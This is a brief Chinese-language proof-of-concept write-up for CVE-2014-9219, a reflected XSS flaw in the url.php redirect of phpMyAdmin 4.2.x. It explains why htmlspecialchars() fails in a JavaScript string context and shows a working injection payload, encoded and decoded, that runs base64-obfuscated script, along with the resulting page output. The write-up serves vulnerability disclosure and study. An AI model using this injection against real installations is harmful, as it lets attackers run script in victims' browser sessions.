CVE-2014-9219 XSS POC
该漏洞由 phpMyAdmin 4.2.x 版本(4.2.13.1 之前)中 url.php 的重定向功能在处理 url 参数时的输入验证错误引起。远程攻击者可诱骗受害者访问特制链接,并在受害者的浏览器中,在易受攻击网站的安全上下文中执行任意 HTML 和脚本代码。
phpMyAdmin:4.2.0 - 4.2.13
存在漏洞的代码使用 htmlspecialchars() 来清除 URL 参数,然后将其插入 JavaScript 字符串上下文中:
window.location='" . htmlspecialchars($_GET['url']) . "';
htmlspecialchars() 用于 HTML 上下文,而非 JavaScript 字符串上下文。它无法充分转义可突破 JavaScript 字符串字面量的字符。
URL 编码:
url.php?url=http%3A%2F%2Fwww.phpmyadmin.net%2F'%2beval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))%2b'
URL 解码:
url.php?url=http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'
HTML 输出:
<script type='text/javascript'>
window.onload=function(){
window.location='http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'';
}
</script>正在将您重定向到 http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'.